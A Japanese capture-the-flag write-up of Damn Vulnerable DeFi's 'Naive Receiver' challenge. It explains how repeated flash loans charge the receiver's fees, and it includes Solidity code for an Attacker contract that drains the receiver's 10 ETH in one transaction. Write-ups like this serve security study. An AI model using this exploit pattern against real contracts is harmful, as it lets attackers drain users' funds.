チャレンジ #2 - 素朴なレシーバー#
ソリディティとファウンドリーのシステム学習のために、私はファウンドリーテストフレームワークを使用して、damnvulnerable-defi の解答を再作成しました。ご意見交換や共同開発を歓迎します~🎉
コントラクト#
- NaiveReceiverLenderPool:IERC3156FlashLender を継承し、フラッシュローン機能を提供します。
- FlashLoanReceiver:IERC3156FlashBorrower を継承し、フラッシュローンの受信コールバックを行うためのものです。
スクリプト#
- NaiveReceiverLenderPool コントラクトをデプロイし、プールに 1000eth を送金します。プールのフラッシュローン手数料は 1eth です。
- FlashLoanReceiver コントラクトをデプロイし、レシーバーに 10eth を送金します。
- 攻撃スクリプトを実行します。
- レシーバーの残高が 0 になり、プールの残高が 1000+10eth になることを期待します。
解答#
攻撃の目標は、レシーバーの残高をゼロにすることです。プールを介してフラッシュローンを実行するたびに、手数料として 1eth が必要です。したがって、レシーバーを介してプールに 10 回のフラッシュローンを実行することで、10eth をすべて手数料の形でプールに送ることができます。
課題の要件に従って、1 つのトランザクションでできるだけ多くのフラッシュローンを実行するために、コントラクトを作成して 10 回のフラッシュローンを 1 つのトランザクションで実行します。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract Attacker {
constructor(address payable _pool, address payable _receiver){
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
for(uint256 i=0; i<10; i++){
pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
}
}
}